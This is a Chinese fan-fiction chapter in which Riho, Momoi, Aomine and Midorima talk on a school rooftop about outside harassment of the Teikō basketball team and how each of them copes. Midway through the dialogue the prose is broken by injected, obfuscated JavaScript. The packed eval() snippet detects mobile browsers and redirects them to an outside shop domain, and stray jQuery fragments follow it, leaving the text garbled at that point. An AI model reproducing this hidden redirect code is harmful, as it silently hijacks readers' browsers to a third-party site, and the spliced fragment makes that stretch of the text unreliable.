"我深怕自己本非美玉，故而不敢加以刻苦琢磨；却又半信自己是块美玉，故又不肯庸庸碌碌，与瓦砾为伍。"
午休天台，理穗合上手中的《山月记》，把这行字又默念了一遍。
然后她想到了灰崎祥吾。
这个联想来得毫无征兆，她明明在读的是唐朝传奇，明明在想的是李徵变虎的故事，可当目光扫过美玉与瓦砾这几个字时，脑海里浮现出的却是昨天傍晚巷子里那双充血的眼睛。
她被自己这个联想吓了一跳，随即又觉得并非全无道理。
灰崎那个人，乍看之下和“美玉”二字毫不沾边。暴躁、尖锐、满嘴脏话、动不动就跟人动手，走在校园里周身三尺之内生人勿近，像一把没有鞘的刀，谁靠近都可能被划伤。全校上下提起他，大多数人的评价不外乎“不良”“危险分子”。
可理穗刚刚见过他狼狈的样子。
昨天在校门口那条巷子里，她亲眼看见他因为对方侮辱帝光篮球部而暴怒动手，用最笨拙、最尖锐、最容易受伤的方式。
想到这里，她的心情又沉了下去。
她合上书，不再读了。
“理穗——！”
一串急促的脚步声从楼梯口传来，紧接着是天台铁门被猛地推开的声音。
理穗不用抬头都知道是谁。
“你果然在这儿！”桃井五月端着两瓶奶茶快步走过来，粉色长发在风中飞扬，校服外套的下摆被风吹得猎猎作响。她一屁股在理穗旁边坐下，动作大得差点把理穗手里的书撞飞。
“小心小心——”理穗赶紧把书护到怀里。
“哎呀抱歉抱歉！”桃井欢快地道了歉，然后把奶茶往理穗面前一递，“喏，给你带的，热饮。”
“谢谢。”理穗接过奶茶，入手一片温热，她低头喝了一口，甜度刚好。
“……好喝。”
“那当然，我买的嘛！”桃井得意地扬起下巴，自己也捧着一杯喝了起来。
两个人就这么挨着坐在矮墙上，喝着各自的奶茶，谁也没有急着说话。
秋风从她们面前掠过，带着操场那边传来的哨声和远处马路上的车流声。
过了一会儿，又一个身影出现在天台门口。
青峰大辉慢悠悠地晃了上来，手里拎着一袋便利店的面包和一瓶运动饮料。
他看到角落里那两个女生，径直走了过去，在桃井另一边坐下来，准确地说，是瘫坐下来，两条长腿随意地伸展开，后背往墙上一靠，整个人呈现出一种随时可以睡着的松弛状态。
“你怎么也上来了？”桃井问他。
“下面吵死了。”青峰撕开面包的包装袋，咬了一大口，含糊不清地补充道，“而且你们俩都不在，我自己呆在教室里更无聊了。”
“所以你是因为无聊才来找我们的？”桃井故意逗他。
“不然呢？”青峰理所当然地反问，换来桃井一个白眼。
理穗在旁边看着他们两个拌嘴，嘴角不自觉地弯了一下，但很快又收了回去。她低头看着手里的奶茶杯，指尖轻轻摩挲着杯壁上，犹豫了一会儿，还是开口了：
“五月，青峰君……我问你们一个事。”
桃井和青峰都同时意外看了她一眼。
“你们最近……有没有觉得，校外里对篮球部的议论变多了？”
桃井喝奶茶的动作顿了一下。
青峰嚼面包的速度也慢了一拍。
理穗没有看他们，继续说下去，声音不大，语气也尽量保持平稳：“我昨天在校门口听到有人拿帝光篮球部的事挑衅。说我们赢球全靠裁判偏袒，说奇迹世代都是被媒体吹出来的，还说……”她说到这里，才抬起头来看向身边的两个人。
桃井的表情已经从刚才的轻松变成了认真，那双明亮的眼睛里带着一丝了然。
青峰则没什么明显的表情变化，只是停下了咀嚼，安静地听着。
“我当时就在想……”理穗垂下眼帘指尖轻轻敲着杯壁，“为什么非要这样呢？”
她的声音里带着困惑：“赢了比赛，要说我们胜之不武；如果输了比赛，大概要说我们名不副实。好像不管怎么做，总会有人不满意。我不明白那些人到底想要什么？”
天台上安静了几秒钟。
桃井和青峰对视了一眼，交换了一个只有他们俩才懂的眼神。
“理穗，”桃井先开口了，声音比平时认真了不少，“你是不是……一直在想这些事？”
理穗没有否认。
“也不算一直。”她说，“就是偶尔会想到。尤其是昨天看到……算了，不说了。”
她及时刹住了车。她本来想说“尤其是昨天看到灰崎被激怒的样子”，但她答应过自己不把那件事说出来。灰崎的事情是灰崎的事情，她没资格替他到处宣扬。
青峰在旁边发出一声低沉的哼笑。
“其实不止昨天，”桃井双手捧着奶茶，目光落在远处的天际线上，声音里带着一种经历过太多次之后的平静，“我和阿大已经有点习惯了。”
理穗澄澈的眼眸里浮现出诧异。
她从未听桃井提起过半分挑衅者相关的事。
所有人看到的都是奇迹世代万众瞩目、风光无限的模样，镁光灯打在他们的身上，欢呼声围绕着他们的名字，奖杯和锦旗塞满了陈列柜。
没有人知晓他们私下频频遭遇的恶意与挑衅，没有人知道那些风光背后藏着多少不为人知的暗流。
见她疑惑，桃井索性直白地道来，语气坦然又无奈：“全国大赛结束之后没多久，校外的挑衅从来就没断过。只是大部分事情，我们都选择无视，没有声张而已。”
“说实话，一开始是会有一点生气。”她坦诚道，“毕竟那些人说的很难听，什么不过是仗着身体素质好，除了打篮球什么都不会，运气好碰上了好队友之类的。”
她顿了顿，像是在回忆什么，然后继续说道：“就在前段时间，我和阿大放学一起回家，也遇到过那些不明学校的人堵路挑衅。”
理穗瞬间抬眸，眼底满是真切的惊讶，静静听着她的讲述。
“那天天气很好，我们本来打算顺路去便利店买饮料。”桃井微微蹙眉，回想当时的场景，语气带着几分漠然，“结果半路被几个外校男生拦住。他们对着奇迹世代冷嘲热讽，说我们靠着天赋横行霸道，说我们帝光全员傲慢自负，赢球赢得不择手段……”
那些话语，和昨日巷子里辱骂灰崎、抹黑帝光的言辞，几乎一模一样。
理穗心底骤然泛起一阵酸涩。
原来这份无端的恶意，从来不是针对某一个人，而是密密麻麻，笼罩在整个帝光篮球部、笼罩在每一个奇迹世代的少年身上。
灰崎不是唯一的靶子，他只是恰好是最容易被点燃的那一个。
“那当时……怎么样了？”理穗轻声追问，语气柔软又担忧。
桃井轻轻摇头，唇角扯出一抹浅淡的笑意，带着对自家队友的了解：“没怎么样。阿大根本懒得理他们。”
“那种废物的废话，浪费时间罢了。”
理穗和桃井同时回过头去。理穗看着他这副满不在乎的样子，一时竟不知道该说什么。
“那群人就是输不起。”青峰继续说，语气里带着一种近乎无聊的笃定，“自己打不过，练不出来，就只会靠嘴发泄嫉妒。我要是每一次都跟他们较真、跟他们动手，岂不是天天都要打架？”
他说这话的时候，甚至连眉毛都没动一下。
不是故作潇洒，不是强行逞强。
他是真的不在意。
理穗静静地注视着他，忽然觉得自己好像看到了某种与灰崎截然相反的东西。
昨日灰崎被激怒失控动手，今日青峰淡然无视漠然置之。
同样的恶意嘲讽，同样的校外挑衅，截然不同的两种处理方式，却隐隐衬出每个人截然不同的性子。
青峰随性洒脱、桀骜坦荡。他懒得与弱者争辩，不屑靠打斗证明自己，外界的流言蜚语、恶意诋毁，从来影响不到他分毫。
他觉得自己足够强大，也足够松弛，根本不会将旁人的酸意与嫉妒放在眼里。
他的世界里有一套极其简单的逻辑，强者用实力说话，弱者才靠嘴皮子。
而他毫无疑问是前者，所以他根本不需要向任何人证明任何事情。
“喂，你在想什么？”
青峰的声音打断了她的思绪。
理穗回过神来，发现青峰正歪着头看她，眼睛里带着一丝好奇。大概是她的沉默太久，让他觉得有些反常。
“没什么。”理穗轻轻摇了摇头，声音依旧柔和，“我只是在想……你们还真的是很不容易。”
青峰挑了挑眉，似乎对这个评价有些不以为然：“有什么不容易的？不过是打球而已。”
“不是打球的问题。”理穗说，声音虽然轻，却比刚才坚定了一些，“是那些话。一直被人说坏话，一直被人误解，一直被人用最大的恶意揣测……就算是习惯了，也还是会烦恼的吧。”
青峰沉默了一瞬。
他没有立刻回答，而是偏过头看向远处。
操场上有人在跑步，阳光把跑道晒得发白，远处的树梢在风里轻轻摇晃。他就那么安静地看了几秒钟，然后才开口，声音比刚才低了一些，却依然是那副懒散的腔调：
“倒是谈不上。就是有时候会觉得挺没意思的。”
他顿了顿，像是在斟酌措辞，然后又补了一句：“明明大家都在做同一件事，打球、训练、想赢。就因为赢了太多次，反倒成了罪过。这算什么道理？”
这句话说得随意，甚至带着点自嘲的意味。原来他也是知道的。
知道那些恶意有多荒谬，知道那些诋毁有多不讲道理。他只是选择了不去计较，而不是真的感受不到。
“青峰君，”理穗忽然开口，声音轻轻的，像是怕打扰到什么，“我听说……你以前说过一句话。”
青峰抬眼看她，等着下文。
“‘喜欢打篮球的都不是坏人。’”
话音落下的一瞬间，青峰的表情出现了极其微妙的变化。他显然没想到她会知道这句话。
“你怎么知道的？”他问，语气听起来依然随意，但声音比刚才低了一些。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17675375|203684||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“听人说的。”理穗没有说是从哪里听来的，只是弯了弯唇角，目光温柔而认真。
桃井看着他们的样子，忽然笑了起来。
就在这时，天台的门又被推开了。
这次走进来的是绿间真太郎。他看到天台上已经有三个人时，脚步微微顿了一下，镜片后的目光扫过在场的人。
“都在啊。”他的语气平淡。
“绿间？你怎么也上来了？”桃井问道。
“下面太吵了。”绿间简短地回答，然后走到离他们几步远的地方，靠着栏杆站定，显然是不打算参与他们的谈话。
天台上安静了几秒钟。
理穗看着绿间的背影，犹豫了一下，还是轻声开口了：“绿间君……我能也问你一件事情吗？”
绿间微微侧过头，用余光示意她继续说。
“你最近……也有遇到过很多来自外界的非议和挑衅吧？”理穗问，“你……是怎么处理的呢？”
绿间的手停住了，转过身来。
但他的表情依然是那副波澜不惊的样子，但理穗注意到他推眼镜的动作比平时慢了一些，在认真思考怎么回答。
“是的。”他说，语气平静而克制，“从全中比赛获胜，到这个学期的不断连胜达成连胜纪录开始，针对我们的负面言论就呈现指数级增长。不过，这是预期内的现象，当某一群体在竞争中持续占据绝对优势时，旁观者倾向于用道德贬低的方式来平衡心理落差。这是正常的。”
理穗听得一愣一愣的，连旁边的青峰都忍不住发出了一声意味不明的“啧”。
“简单来说，”绿间推了推眼镜，“就是我们赢得太多了，所以看我们不顺眼的人也会越来越多。这是规律，不以个人意志为转移。”
他说得如此冷静、如此理性，仿佛那些恶意不是落在他们身上的刀枪，而是实验室里一组可以量化的数据。
理穗看着他，忽然觉得有些说不上来的复杂。
“那……绿间君不会觉得难过吗？”她轻声问。
绿间沉默了一瞬。
“难过与否并不重要。”他最终说道，声音依然平稳，“重要的是这些言论是否会影响我的投篮命中率。经过验证，它们不会。所以我没有必要为其耗费情绪。”
他说完，目光落到理穗手里的书页上，姿态从容而自洽。
理穗看着他，心里泛起一种说不清的感觉。
绿间真太郎，奇迹世代的三分射手，以绝对的理性和自律著称。他用数据和逻辑构筑了一道坚不可摧的城墙，把所有可能动摇情绪的东西都挡在外面。他说“没有必要耗费情绪”，听起来像是真的不在乎。
但理穗忍不住想，如果一个人真的完全不在乎，又何必专门用一套完整的理论来说服自己“不必在乎”呢？
越是严密地筑墙，越说明墙内的东西是脆弱的。
她没有把这个想法说出口。但她暗暗记在了心里。
“话说回来，”桃井忽然开口，打破了短暂的沉默，问理穗，“赤司君今天中午去哪儿了？平时这个时间他应该和你一起也在天台才对。”
还不等理穗回答，绿间头也不抬地答道：“学生会临时会议。校长亲自点名要他参加，据说是关于下个月文化祭的统筹方案和预算审批。”
“又是学生会的事啊……”桃井感慨了一声，“赤司君真的好忙。”
“能力越大责任越大吧。”理穗手里漫不经心地翻弄着怀里的书页，脑海里浮现出赤司征十郎的样子。
他总是以一种超越年龄的沉稳掌控着一切。她忽然有些好奇，在面对那些恶意和非议的时候，阿征又会是怎样的态度呢？
是会像青峰一样无视，还是会像绿间一样用理性消解，还是会像灰崎一样愤怒反击？
她没有答案。
但她隐约觉得，赤司的方式，大概和他们所有人都不一样。
风从天台上掠过，吹乱了头发。绿间伸手按住发梢，动作精准而克制。
青峰仰面躺倒在水泥地上，用手臂遮住眼睛，像是快要睡着了。
桃井抱着膝盖，看着远处的天空发呆。
理穗坐在他们中间，安静地看着眼前这三个人。风从天台上掠过，吹动了书页的一角。
她低下头，看着自己膝上那本摊开的《山月记》，目光落在其中一行字上：
“其实任何人都是驯兽师，而那野兽，无非就是各人的性情而已。”
她轻轻合上书，将它抱在胸前。
她想，那些用恶意去攻击别人的人，大概也是被自己心中的某种野兽吞噬了吧。也许是嫉妒，也许是不甘，也许是无法面对自己平庸的现实。
当她站起身来，目光无意间扫过栏杆下方，操场边上，一个穿着校服的身影正独自走过。
那头灰色的短发，那副拒人千里的姿态。
是灰崎。
他一个人走着，周围三米之内没有其他人。有人从他身边经过时明显加快了脚步，像是怕离他太近会沾染上什么不幸。
理穗站在天台上，隔着三层楼的高度看着他走远，直到那个身影消失在教学楼的拐角。